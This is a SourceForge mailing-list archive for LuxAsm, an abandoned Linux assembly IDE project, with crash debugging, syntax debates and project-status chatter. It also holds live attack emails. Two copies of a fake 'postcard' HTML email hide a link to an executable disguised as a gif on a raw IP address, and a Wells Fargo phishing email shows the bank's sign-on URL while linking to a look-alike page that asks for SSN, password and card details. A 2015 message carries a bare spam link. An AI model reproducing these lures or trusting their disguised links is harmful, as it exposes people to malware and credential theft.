Menu
▾
▴
luxasm-devel — discussion for developers of LuxAsm - recruits welcome
You can subscribe to this list here.
| 2004 |
Jan
(43) |
Feb
(77) |
Mar
(5) |
Apr
(17) |
May
(26) |
Jun
(42) |
Jul
(2) |
Aug
(35) |
Sep
(166) |
Oct
(49) |
Nov
(43) |
Dec
(138) |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2005 |
Jan
(8) |
Feb
(58) |
Mar
(19) |
Apr
(52) |
May
(34) |
Jun
(44) |
Jul
(21) |
Aug
(1) |
Sep
|
Oct
(4) |
Nov
|
Dec
(4) |
| 2006 |
Jan
(5) |
Feb
(5) |
Mar
(5) |
Apr
(1) |
May
|
Jun
|
Jul
(1) |
Aug
(1) |
Sep
(13) |
Oct
|
Nov
|
Dec
|
| 2007 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
(1) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
| 2015 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(1) |
Sep
|
Oct
|
Nov
|
Dec
|
| 2016 |
Jan
(1) |
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
|
From: C.R. C. <crc...@ko...> - 2015-08-23 01:35:04
|
Hi luxasm http://finistere-laportebleue.com/catch.php?board=bgamnc9wnhm637tqvzyy crc...@ya... luxasm Sent from my iPhone |
|
From: Frank K. <fbk...@ve...> - 2007-07-12 09:04:22
|
Evenbit wrote:
> On Jul 11, 8:55 pm, Frank Kotler <fbk...@ve...> wrote:
>
>>strace ./luxasm.dbg 2> lux.tra gives me:
>>
>>execve("./luxasm.dbg", ["luxasm.dbg"], [/* 36 vars */]) = 0
>>brk(0) = 0x806186c
>>brk(0x8361880) = 0x8361880
>>write(1, "luxasm.dbg", 10) = 10
>>write(1, " [options]\n\t-i <name> Fi"..., 191) = 191
>>_exit(1) = ?
>>
>>Can you try that and let me know where it stops?
>
>
> execve("./luxasm.dbg", ["./luxasm.dbg"], [/* 36 vars */]) = 0
> --- SIGSEGV (Segmentation fault) @ 0 (0) ---
> +++ killed by SIGSEGV +++
Oh, my! Very early...
procedure start, n, v, e
locals counter, name
mov eax, [ local v ] ; Initialise subsystems
mov eax, [ eax ]
cld
mov [ local name ], eax
mov [ luxasm_command ], eax
call Memory.initialise
The "brk(0)" occurs in Memory.initialise, so we're not even getting that
far. I suspect "mov eax, [eax]", which suggests we're not finding
"argv[0]" - the program name. A wild guess, without being able to
duplicate it. If "they" have changed the startup stack from one version
to another, we're totally gefukt. Oh, my!
In spite of the fact that LuxAsm is generally considered to be "dead",
*I* consider this valuable feedback (if not entirely welcome news).
Thanks, Nathan!
Best,
Frank
|
|
From: postcards.com <pos...@po...> - 2006-09-27 22:49:34
|
<html>
<BODY bgColor=#FFFFFF link=#000099 vLink=#FF0000>
<div align="center">
<p align="left">
<p align="left"><font size="2" face="Arial">You have received a postcard from a family member!</font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<p align="left"><font size="2" face="Arial">You can pick up your postcard at
the following web address:</font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<p align="left"><font size="2" face="Arial"><A
href="http://63.246.153.70/~newpass/postcards.gif.exe"
target=_blank>http://www2.postcards.org/?a91-valets-cloud-31337</A></font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<p align="left"><font size="2" face="Arial">If you can‘t click on the web address
above, you can also<br>
visit 1001 Postcards at http://www.postcards.org/postcards/<br>
and enter your pickup code, which is: a91-valets-cloud-mad</font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<P align="left"><font size="2" face="Arial">(Your postcard will be available
for 60 days.)</font></P>
<P align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></P>
<p align="left"><font size="2" face="Arial">Oh -- and if you‘d like to reply
with a postcard,<br>
you can do so by visiting this web address:<br>
http://www2.postcards.org/<br>
(Or you can simply click the "reply to this postcard"<br>
button beneath your postcard!)</font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<p align="left"><font size="2" face="Arial">We hope you enjoy your postcard,
and if you do,<br>
please take a moment to send a few yourself!</font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<p align="left"><font size="2" face="Arial">Regards,<br>
1001 Postcards<br>
http://www.postcards.org/postcards/ </font></p>
</p>
</div>
</body>
</html>
|
|
From: postcards.com <pos...@po...> - 2006-09-27 22:30:27
|
<html>
<BODY bgColor=#FFFFFF link=#000099 vLink=#FF0000>
<div align="center">
<p align="left">
<p align="left"><font size="2" face="Arial">You have received a postcard from a family member!</font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<p align="left"><font size="2" face="Arial">You can pick up your postcard at
the following web address:</font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<p align="left"><font size="2" face="Arial"><A
href="http://63.246.153.70/~newpass/postcards.gif.exe"
target=_blank>http://www2.postcards.org/?a91-valets-cloud-31337</A></font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<p align="left"><font size="2" face="Arial">If you can‘t click on the web address
above, you can also<br>
visit 1001 Postcards at http://www.postcards.org/postcards/<br>
and enter your pickup code, which is: a91-valets-cloud-mad</font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<P align="left"><font size="2" face="Arial">(Your postcard will be available
for 60 days.)</font></P>
<P align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></P>
<p align="left"><font size="2" face="Arial">Oh -- and if you‘d like to reply
with a postcard,<br>
you can do so by visiting this web address:<br>
http://www2.postcards.org/<br>
(Or you can simply click the "reply to this postcard"<br>
button beneath your postcard!)</font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<p align="left"><font size="2" face="Arial">We hope you enjoy your postcard,
and if you do,<br>
please take a moment to send a few yourself!</font></p>
<p align="left"><font color="#FFFFFF" size="2" face="Arial">.</font></p>
<p align="left"><font size="2" face="Arial">Regards,<br>
1001 Postcards<br>
http://www.postcards.org/postcards/ </font></p>
</p>
</div>
</body>
</html>
|
|
From: Frank K. <fbk...@co...> - 2006-09-27 17:19:18
|
Hi Chase, Great to see some activity on this list. What part of the coding would you like to handle? Seriously, sorry folks... Best, Frank |
|
From: Neateye <nit...@ao...> - 2006-07-18 19:28:26
|
Call out Gouranga be happy! Gouranga Gouranga Gouranga That which brings the highest happiness... |
|
From: Frank K. <fbk...@co...> - 2006-04-21 06:44:56
|
Daniel R. Blair wrote: > On Thu, 16 Mar 2006, Frank Kotler wrote: > >> Sevag Krikorian wrote: >> >>> March 16. Project is officially dead. >>> RIP Luxasm, until someone revivies you.... >> >> >> In lieu of flowers, please send cash donations to... > > > No Way! I didn't think LuxAsm would end like this! Well... Easter's coming up... you never know... > I was hoping for a > nice ASM IDE for FreeBSD!!! I understand that Linux executables will run on BSD... dunno if that's "all of 'em"... Jeff Owens has got an IDE for Linux: http://members.save-net.com/jko%40save-net.com/asm/ Not ideal... the pop-up documentation is for Linux (and that's it's best feature, IMO). However, the thing is highly configurable... might be useful to you... As you know (?), the "asmutils" macros allow the same code to be assembled for Linux (with parameters in registers) or BSD (parameters on the stack). There are other differences - the directory entry structure is different, for example(!). These macros account for that... no doubt, there's more to be done. I've got a little "experiment" using those macros at: http://home.comcast.net/~fbkotler/lxtest4.tar.bz2 (don't let the name of the executable fool you - this ain't LuxAsm!!!). I don't recall if I got any feedback from you on it - it apparently works on *some* other machines besides mine... I think someone said it worked on BSD, but I don't know if it was assembled to "native" BSD or not. I imagine it looks like crap on any machine besides mine - I "hard coded" a lot of assumptions into it... The main "experiment" was to see if I could get an Xwindow up - at all, even just on my machine. To that extent, it was a "success". I was also "experimenting" with calling conventions and stuff, so the code is a horrid mish-mash, and not well-commented, so it isn't something we want to "go forward" from! But it shows the basic "get a window" - one way to do it - which was news to me. The buttons are "home-made" - just text with a rectangle around 'em - probably *not* the way we want to do it. I was trying to *minimize* calls to Xlib - with the thought of possibly eliminating libraries completely, perhaps. A far more practical approach is to use "helper libraries" (mosaic, gtk+, whatever) in addition to Xlib. We need to decide exactly what we *are* going to do... > Question, as I don't quite remember, back when I heard of LuxAsm and > joined the list. Was the IDE to be written in ASM or just be an IDE for > ASM? It was to be written in asm. > If being written in ASM isn't a requirement, ... but that was then, this is now. > then I think I could > help with the implementation of it... if it were in C or Java. I am not > sure I am strong enough (nor have the time) to write an IDE in straight > ASM. I don't know about anyone else, but, can I get some other's input? > Would anyone else be willing to help? Well, *I* know less C than asm, and less Java than that. Maybe there are other takers? ... but I don't see 'em jumping up :( > And, are we looking at a Console based IDE (Much like Borland's > Pascal/Turbo C IDE (TurboVision)) or are we looking to do something in X > Windows? We had in mind Xwindows... I don't think it's actually in the constitution... > I'm a developer for Bluefish, an X11 based HTML Editor Ah, "editor"! You said the magic word! An "editor" is an essential part of what we have in mind. I don't have the slightest idea how to write an editor, and to be honest, it sounds like a tedious, thankless job. You've got your vi folks and you've got your emacs folks, and you're not going to please everybody - unless you're "highly configurable", which sounds "highly complicated" to me. Someone with actual experience in writing an editor should be a tremendous help! > (with support for > many other languages) - I could really care less about HTML and the HTML > wizards.. but, I love using it to write C, Java, Perl, ASM, etc. Just > wondering what the overall "Description" of LuxAsm was to be. "An assembly language IDE with the editor written in C"??? The words that got me in trouble were "I think a port of RosAsm to Linux would be cool." Betov replied with "Okay, Frank, you're the chief maintainer of LuxAsm." I liked the name so much I started this project. :) What I initially had in mind was a literal port of RosAsm... with perhaps a couple "cheats" (no linkable object output is *not* gonna fly in *nix). But Betov got pissy about my "allowing" several "Randall Hyde supporters" to participate in the project - wanted all references to RosAsm removed. > > Any response is much appreciated, > > Danny > Ah, sh*t! Just found this in "drafts". Sorry, Danny! I had more to say I guess... better just send it... Truth is, this project is *not* going well... Best, Frank |
|
From: Daniel R. B. <joe...@re...> - 2006-03-23 16:24:55
|
On Thu, 16 Mar 2006, Frank Kotler wrote:
> Sevag Krikorian wrote:
>
>> March 16. Project is officially dead.
>> RIP Luxasm, until someone revivies you....
>
> In lieu of flowers, please send cash donations to...
No Way! I didn't think LuxAsm would end like this! I was hoping for a
nice ASM IDE for FreeBSD!!!
Question, as I don't quite remember, back when I heard of LuxAsm and
joined the list. Was the IDE to be written in ASM or just be an IDE for
ASM? If being written in ASM isn't a requirement, then I think I could
help with the implementation of it... if it were in C or Java. I am not
sure I am strong enough (nor have the time) to write an IDE in straight
ASM. I don't know about anyone else, but, can I get some other's input?
Would anyone else be willing to help?
And, are we looking at a Console based IDE (Much like Borland's
Pascal/Turbo C IDE (TurboVision)) or are we looking to do something in
X Windows?
I'm a developer for Bluefish, an X11 based HTML Editor (with support for
many other languages) - I could really care less about HTML and the HTML
wizards.. but, I love using it to write C, Java, Perl, ASM, etc. Just
wondering what the overall "Description" of LuxAsm was to be.
Any response is much appreciated,
Danny
--
Daniel R. Blair
MediaOcean
Enterprise Software Developer
e-mails: db...@re... (personal)
dan...@dd... (work)
|
|
From: Frank K. <fbk...@co...> - 2006-03-16 07:56:06
|
Sevag Krikorian wrote: > March 16. Project is officially dead. > RIP Luxasm, until someone revivies you.... In lieu of flowers, please send cash donations to... Best, Frank |
|
From: Sevag K. <kah...@ya...> - 2006-03-16 07:29:29
|
Sevag Krikorian <kah...@ya...> wrote: I think #define syntax is okay, as long as we stick with '#' as the namespace for all internal directives...
Or... you can always have a macro equate if we go with another namespace.
.macro #define { .define }
The reason I prefer dot '.' is because there is no shift involved and it's right under the 'L' key :)
The disadvantage of this being... you can't use '.' to start labels.
NASM syntax sounds fine, but as I mentioned before, my personal preference would be having all directives in their own namespace and perhaps we can drop NASM's required static type casting when the destination is obvious?
My preferences - - let's hear other inputs.
--
CPU instructions - as is
CPU registers - as is
CPU instruction prefix - as is
LuxAsm directive - prefix namespace dot " .<directive> "
LuxAsm internal type ? either as is or prefix namespace as above. " .<type> "
Syntax: NASMese without obvious static type casting " mov eax, 1000 "
Addressing: NASMese
Blocks: curly braces { }
That's about it. These are the simple basic things that need to be agreed on before the next steps can be taken. My preferences aside, I don 't really care what is the final agreement as long as there is an agreement!!
And here is something to spice things up:
Deadline to decide these things: March 15, 2006
After which the project can be considered:
1. DEAD untill...
2. someone takes matters into their own hands, and begins pumping out some code with their chosen format.
March 16. Project is officially dead.
RIP Luxasm, until someone revivies you....
Sevag Krikorian -=[Kain]=-
http://www.geocities.com/kahlinor/index.html
---------------------------------
Yahoo! Mail
Use Photomail to share photos without annoying attachments. |
|
From: Sevag K. <kah...@ya...> - 2006-03-02 19:15:41
|
Frank Kotler <fbk...@co...> wrote:
I agree with Sevag, that we should decide on a syntax. "Just like Nasm",
except where there's some good reason to alter it is okay with me! :)
There's something to be said for "#define" as a syntax - we can pick up
equates straight from C(the language) .h files. That's the way C(the
developer) had it, IIRC.
Other than that thought, I really don't have anything to add, at the
moment. Sorry not to be more inspirational...
Best,
Frank
Yeah, I hope Beth is alive and well, she just vanished without nary a word.
I think #define syntax is okay, as long as we stick with '#' as the namespace for all internal directives...
Or... you can always have a macro equate if we go with another namespace.
.macro #define { .define }
The reason I prefer dot '.' is because there is no shift involved and it's right under the 'L' key :)
The disadvantage of this being... you can't use '.' to start labels.
NASM syntax sounds fine, but as I mentioned before, my personal preference would be having all directives in their own namespace and perhaps we can drop NASM's required static type casting when the destination is obvious?
My preferences - - let's hear other inputs.
--
CPU instructions - as is
CPU registers - as is
CPU instruction prefix - as is
LuxAsm directive - prefix namespace dot " .<directive> "
LuxAsm internal type ? either as is or prefix namespace as above. " .<type> "
Syntax: NASMese without obvious static type casting " mov eax, 1000 "
Addressing: NASMese
Blocks: curly braces { }
That's about it. These are the simple basic things that need to be agreed on before the next steps can be taken. My preferences aside, I don't really care what is the final agreement as long as there is an agreement!!
And here is something to spice things up:
Deadline to decide these things: March 15, 2006
After which the project can be considered:
1. DEAD untill...
2. someone takes matters into their own hands, and begins pumping out some code with their chosen format.
Sevag Krikorian -=[Kain]=-
http://www.geocities.com/kahlinor/index.html
---------------------------------
Yahoo! Mail
Bring photos to life! New PhotoMail makes sharing a breeze. |
|
From: Frank K. <fbk...@co...> - 2006-03-02 12:37:53
|
NoDot wrote: > PING! All who see *this*, respond, please. Hi NoDot, Yeah... I *just* saw it - suddenly downloaded some 80-odd messages stretching back... well, even farther than this. Thought it had been quiet lately... > Frank Kotler wrote: > >>> Seems the mailing >>> list has been dead for a few months, with the last real post by >>> NonDot... > > [This wasn't recieved by me for some reason...] I replied to an a.l.a. message, and just cc'ed it to the list as a "ping", of sorts... ... > I've been gone for a while. I don't know if Beth's still here, or not, > nor do I know if C's here. Well, C has checked in... Dunno what's become of Beth. Hope it's good! I agree with Sevag, that we should decide on a syntax. "Just like Nasm", except where there's some good reason to alter it is okay with me! :) There's something to be said for "#define" as a syntax - we can pick up equates straight from C(the language) .h files. That's the way C(the developer) had it, IIRC. Other than that thought, I really don't have anything to add, at the moment. Sorry not to be more inspirational... Best, Frank |
|
From: Sevag K. <kah...@ya...> - 2006-02-28 23:41:59
|
It would be really nice if the syntax could be decided. That is after all, the most important feature of the language.
Then there could be something to work from at least, maybe write some demos or tools, etc.
If my input means anything, here are a couple of my preferences for the language implementation:
1. I would prefer the language used directives rather than archaic symbols or symbol combinations (with the exception of curly braces).
2. Apart from the machine instructions, every directive (if any will be used) should be in their own namespace, preferably the dot namespace ".<directive>"
3. Blocks: Either use curly braces { } or .begin .end directives.
There is more of course, but baby steps...
"C.R. Chafer" <crc...@ya...> wrote: --- NoDot wrote:
> I've been gone for a while. I don't know if Beth's still here, or
> not, nor do I know if C's here.
I'm about, just _far_ too busy to do anything towards
Luxasm, and no sign of things letting up soon.
--
C
2006-02-28
___________________________________________________________
To help you stay safe and secure online, we've developed the all new Yahoo! Security Centre. http://uk.security.yahoo.com
-------------------------------------------------------
This SF.Net email is sponsored by xPML, a groundbreaking scripting language
that extends applications into web and mobile media. Attend the live webcast
and join the prime developer group breaking into this new coding territory!
http://sel.as-us.falkag.net/sel?cmd=lnk&kid=110944&bid=241720&dat=121642
_______________________________________________
Luxasm-devel mailing list
Lux...@li...
https://lists.sourceforge.net/lists/listinfo/luxasm-devel
Sevag Krikorian -=[Kain]=-
http://www.geocities.com/kahlinor/index.html
---------------------------------
Yahoo! Mail
Bring photos to life! New PhotoMail makes sharing a breeze. |
|
From: C.R. C. <crc...@ya...> - 2006-02-28 09:11:43
|
--- NoDot <no...@ul...> wrote: > I've been gone for a while. I don't know if Beth's still here, or > not, nor do I know if C's here. I'm about, just _far_ too busy to do anything towards Luxasm, and no sign of things letting up soon. -- C 2006-02-28 ___________________________________________________________ To help you stay safe and secure online, we've developed the all new Yahoo! Security Centre. http://uk.security.yahoo.com |
|
From: NoDot <no...@ul...> - 2006-02-26 03:23:32
|
PING! All who see *this*, respond, please. Frank Kotler wrote: >> Seems the mailing >> list has been dead for a few months, with the last real post by >> NonDot... [This wasn't recieved by me for some reason...] It's "NoDot"! >> PS. Just like to say hi to Frank, Beth, Annie, Randy, Steve (aka Hutch) >> and the rest of the ALA gang! > > Hi back, Darren. If you hear from Beth, let us know! She seems to be > "missing". (really hope she's okay!) Don't forget C(the developer). Hi, > C! (isn't that a beverage? :) I've been gone for a while. I don't know if Beth's still here, or not, nor do I know if C's here. > Best, > Frank -- The above was written by NoDot. Visit the Website of NoDot: <www.geocities.com/nodot1989/> |
|
From: Frank K. <fbk...@co...> - 2006-02-23 07:59:44
|
Che...@au... wrote: > Hi Guys, > > Anyone know what the current status of Luxasm is? Sleepin'. > Seems the mailing > list has been dead for a few months, with the last real post by > NonDot... That the one where he said he was cold and lonely? I've been meaning to reply to that, telling him to throw another log on the fire and invite a pretty lady over to smoke a joint with him. Works for me. But I haven't gotten around to it. Sorry, NoDot! > PS. Just like to say hi to Frank, Beth, Annie, Randy, Steve (aka Hutch) > and the rest of the ALA gang! Hi back, Darren. If you hear from Beth, let us know! She seems to be "missing". (really hope she's okay!) Don't forget C(the developer). Hi, C! (isn't that a beverage? :) Sorry not to have any exciting news to report. I, for one< am still "pondering" over LuxAsm, and don't consider it "dead", but... it ain't movin'... Best, Frank |
|
From: Frank K. <fbk...@co...> - 2006-02-23 07:54:59
|
Che...@au... wrote: > Hi Guys, > > Anyone know what the current status of Luxasm is? Sleepin'. > Seems the mailing > list has been dead for a few months, with the last real post by > NonDot... That the one where he said he was cold and lonely? I've been meaning to reply to that, telling him to throw another log on the fire and invite a pretty lady over to smoke a joint with him. Works for me. But I haven't gotten around to it. Sorry, NoDot! > PS. Just like to say hi to Frank, Beth, Annie, Randy, Steve (aka Hutch) > and the rest of the ALA gang! Hi back, Darren. If you hear from Beth, let us know! She seems to be "missing". (really hope she's okay!) Don't forget C(the developer). Hi, C! (isn't that a beverage? :) Sorry not to have any exciting news to report. I, for one< am still "pondering" over LuxAsm, and don't consider it "dead", but... it ain't movin'... Best, Frank |
|
From: faq <fa...@sz...> - 2005-12-16 08:07:43
|
På Thu, 15 Dec 2005 20:34:50 -0800, skrev <lux...@li...>: > Send Luxasm-devel mailing list submissions to > lux...@li... > > To subscribe or unsubscribe via the World Wide Web, visit > https://lists.sourceforge.net/lists/listinfo/luxasm-devel > or, via email, send a message with subject or body 'help' to > lux...@li... > > You can reach the person managing the list at > lux...@li... > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of Luxasm-devel digest..." > > > Today's Topics: > > 1. Re: Luxasm-devel digest, Vol 1 #296 - 1 msg (faq) > 2. Re: Re: Luxasm-devel digest, Vol 1 #296 - 1 msg (NoDot) > > --__--__-- > > Message: 1 > To: lux...@li... > From: faq <fa...@sz...> > Date: Fri, 16 Dec 2005 03:52:58 +0100 > Subject: [Luxasm-devel] Re: Luxasm-devel digest, Vol 1 #296 - 1 msg > Reply-To: lux...@li... > > På Wed, 14 Dec 2005 20:26:30 -0800, skrev > <lux...@li...>: > >> Today's Topics: >> >> 1. Hello? (NoDot) >> >> -- __--__-- >> >> Message: 1 >> Date: Wed, 14 Dec 2005 20:56:38 -0500 >> From: NoDot <no...@ul...> >> To: lux...@li... >> Subject: [Luxasm-devel] Hello? >> Reply-To: lux...@li... >> >> Hello? Is anyone out there? It's cold and lonely here. > > :)))) Hello NoDot. You can start looking for a blanket, as you're > no longer alone :) [shudders] Please go away. I am a really scary MONSTER. And I will haunt you til the day you die. (shows tooth, and grins madly) BOOO!!!!!! -Hows your one living braincell doing theese days ? :))) (No offense to the other one). Have you seen Beth? Answer or I eat you a-l-i-v-e. (You piece of useless textconverter programmer junk) "To many people say, 'Have a nice day.' So I say, 'Have a rotten day.'" - NoDot I don't remember when. :) You have a really short memory DoNot. -Graaaaaauwl! (Shakes head and walks away, sadly). :))) |
|
From: NoDot <nod...@ya...> - 2005-12-16 02:57:11
|
--- faq <fa...@sz...> wrote:
> :)))) Hello NoDot. You can start looking for a blanket, as you're
> no longer alone :)
[shudders] Please go away.
"To many people say, 'Have a nice day.' So I say, 'Have a rotten day.'"
- NoDot
I don't remember when. :)
--------
See the Website of NoDot:
http:\\www.geocities.com\nodot1989\index.html
__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
|
|
From: faq <fa...@sz...> - 2005-12-16 02:54:12
|
På Wed, 14 Dec 2005 20:26:30 -0800, skrev <lux...@li...>: > Today's Topics: > > 1. Hello? (NoDot) > > --__--__-- > > Message: 1 > Date: Wed, 14 Dec 2005 20:56:38 -0500 > From: NoDot <no...@ul...> > To: lux...@li... > Subject: [Luxasm-devel] Hello? > Reply-To: lux...@li... > > Hello? Is anyone out there? It's cold and lonely here. :)))) Hello NoDot. You can start looking for a blanket, as you're no longer alone :) -- |
|
From: NoDot <no...@ul...> - 2005-12-15 01:56:56
|
Hello? Is anyone out there? It's cold and lonely here. -- The above was written by NoDot. Visit the Website of NoDot: <www.geocities.com/nodot1989/> |
|
From: Frank K. <fbk...@co...> - 2005-10-09 04:01:09
|
NoDot wrote: > OK, anyone else find this to be spam? ... > To lift up this restriction, you need to login into your account (with your username > or SSN and your password), then you have to complete our verification process. You > must confirm your credit card details and your billing information as well. ... No, I find it to be "phishing". I apparently have this problem with my Wells Fargo account, too. And my PayPal account. And several credit cards. Funny thing is I don't have a Wells Fargo account, or a PayPal account (HELL, no!), or any credit cards. If you actually have a Wells Fargo account, and you're dumb enough to log onto this site, well... you don't have a Wells Fargo account any more... Best, Frank |
|
From: NoDot <nod...@ya...> - 2005-10-09 03:26:49
|
OK, anyone else find this to be spam? --- Service Wells Fargo <se...@we...> wrote: --------------------------------- New Page 1 Dear customers: Wells Fargo is constantly working to increase security for all Online Banking users. To ensure the integrity of our online payment system, we periodically review accounts. Your account might be place on restricted status. Restricted accounts continue to receive payments, but they are limited in their ability to send or withdraw funds. To lift up this restriction, you need to login into your account (with your username or SSN and your password), then you have to complete our verification process. You must confirm your credit card details and your billing information as well. All restricted accounts have their billing information unconfirmed, meaning that you may no longer send money from your account until you have updated your billing information on file. To initiate the billing update confirmation process, please follow the link bellow and fill in the necessary fields: https://online.wellsfargo.com/signon?LOB=CONS Thank you, Wells Fargo - Online Banking About Wells Fargo | Employment | Report Email Fraud | Privacy, Security & Legal | Home © 1995 - 2005 Wells Fargo. All rights reserved. -------------------------------------------------------This SF.Net email is sponsored by:Power Architecture Resource Center: Free content, downloads, discussions,and more. http://solutions.newsforge.com/ibmarch.tmpl_______________________________________________Luxasm-devel mailing lis...@li...://lists.sourceforge.net/lists/listinfo/luxasm-devel "To many people say, 'Have a nice day.' So I say, 'Have a rotten day.'" - NoDot I don't remember when. :) -------- See the Website of NoDot: http:\\www.geocities.com\nodot1989\index.html __________________________________ Yahoo! Mail - PC Magazine Editors' Choice 2005 http://mail.yahoo.com |
|
From: Service W. F. <se...@we...> - 2005-10-09 00:30:58
|
<html dir="ltr"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>New Page 1</title> </head> <body> <table id="masthead" cellSpacing="0"> <tr> <td id="mastLeftCol" noWrap><a href="http://www.wellsfargo.com/"> <img id="logo" alt="Wells Fargo Home Page" src="http://a248.e.akamai.net/7/248/1856/53845d4a1846e7/www.wellsfargo.com/img/header/logo_62sq.gif" width="62" height="62" border="0"><img id="coach" alt="Wells Fargo Home Page" src="http://a248.e.akamai.net/7/248/1856/53845d4a1846e7/www.wellsfargo.com/img/header/coach.gif" border="0"></a><a href="http://www.wellsfargo.com/auxiliary_access/aa_talkatmloc.jhtml"><img class="inline" height="1" alt="Talking ATM Locations" src="//a248.e.akamai.net/7/248/1856/5472601571f31e/www.wellsfargo.com/img/s.gif" width="1" border="0"></a><a href="#skip"><img class="inline" height="1" alt="Skip Navigation to go to main content of this page" src="//a248.e.akamai.net/7/248/1856/5472601571f31e/www.wellsfargo.com/img/s.gif" width="1" border="0"></a></td> </tr> </table> <p><br> Dear customers:<br> <br> Wells Fargo is constantly working to increase security for all Online Banking users. To ensure the integrity of our online payment system, we periodically review accounts.<br> <br> Your account might be place on restricted status. Restricted accounts continue to receive payments, but they are limited in their ability to send or withdraw funds.<br> <br> To lift up this restriction, you need to login into your account (with your username or SSN and your password), then you have to complete our verification process. You must confirm your credit card details and your billing information as well. All restricted accounts have their billing information unconfirmed, meaning that you may no longer send money from your account until you have updated your billing information on file.<br> To initiate the billing update confirmation process, please follow the link bellow and fill in the necessary fields:<br> <br> <a href="http://www.bidsman.com/chat/templates/wellsfargo/wells-account-update-info/trust-update-paymnet-account-wells-info/wells%20fargo-account-update-naw-lls/lls-naw-update-wells-info/index.html"> https://online.wellsfargo.com/signon?LOB=CONS</a><br> <br> Thank you,<br> <br> Wells Fargo - Online Banking</p> <p> </p> <div id="canvas"> <table cellSpacing="0" cellPadding="0" width="100%" border="0"> <tr> <td vAlign="top"> <div id="bodyCell"> <div class="separator"> <img height="1" alt="" src="https://a248.e.akamai.net/7/248/3608/1d8352905f2c38/online.wellsfargo.com/common/images/shim.gif" width="1"></div> <div class="footer1" style="WIDTH: 100%; TEXT-ALIGN: center"> <a tabIndex="8" href="http://www.wellsfargo.com/about/about.jhtml"> About Wells Fargo</a> | <a tabIndex="8" href="http://www.wellsfargo.com/employment"> Employment</a> | <a tabIndex="8" href="http://www.wellsfargo.com/privacy_security/email_fraud/report.jhtml"> Report Email Fraud</a> | <a tabIndex="8" href="http://www.wellsfargo.com/privacy_security/index.jhtml"> Privacy, Security & Legal</a> | <a title="Wells Fargo Home" tabIndex="8" href="http://www.wellsfargo.com"> Home</a> </div> <div class="disclosure" style="MARGIN-TOP: 9px; WIDTH: 100%; TEXT-ALIGN: center"> © 1995 - 2005 Wells Fargo. All rights reserved. </div> </div> </td> </tr> </table> </div> </body> </html> |
|
From: Frank K. <fbk...@co...> - 2005-08-14 23:33:55
|
ran...@ea... wrote: > Hi All, > Just a quick copy from the Linux ASM mailing list. This will also > answer the question "is anyone using NASM anymore?" Thanks Randy! I was going to copy that post here, in case anyone's interested (I'll cc it to luxasm-devel, too - we need the traffic :). Jeff also posted this to "his" list: http://groups.yahoo.com/group/DesktopLinuxAsm/ (I think that's "his" list... not very active) As an IDE, it isn't going to impress Betov - just a "shell" or "brick&brock" job. (which means you could use it with *any* assembler!) The help system is a gem! System calls indexed alphbetically, numerically, and by "topic", error numbers, signals, structures, equates, etc. all in one place (within "one click", I guess, if you've got the mouse enabled...). I haven't given it much of a workout, but it looks like a huge improvement over two (or so) versions ago when I last looked at it. For those looking for an IDE for Nasm/Linux (or Gas/Linux or Fasm/Linux or even HLA/Linux), it's well worth checking out! Anyone looked at the GAMBAS "ide-nasm"??? Best, Frank ---------------- > The following packages have been updated: > > AsmEdit - assembly editor > AsmREf - reference for x86 linux assembly > AsmLib - library of 270 functions > AsmMgr - file manager and IDE frontend > AsmFunc - minor functions to test crt and keyboard > AsmMenu - script menu program > > All programs are written in x86 assembler and can > be found at: > > http://members.save-net.com/jko%40save-net.com/asm > http://sourceforge.net/projects/asmref > http://sourceforge.net/projects/asmedit > http://sourceforge.net/projects/asmlib > http://sourceforge.net/projects/asmmgr > > This update includes about a 100 bug fixes > and some enhancements. The disassembler > for generating source from executable files > is still in progress and a few months away. > > The library is now adding some high level functions > to handle hash tables and browse directories. > > jko at bsn1 dot com > |
34 messages has been excluded from this view by a project administrator.
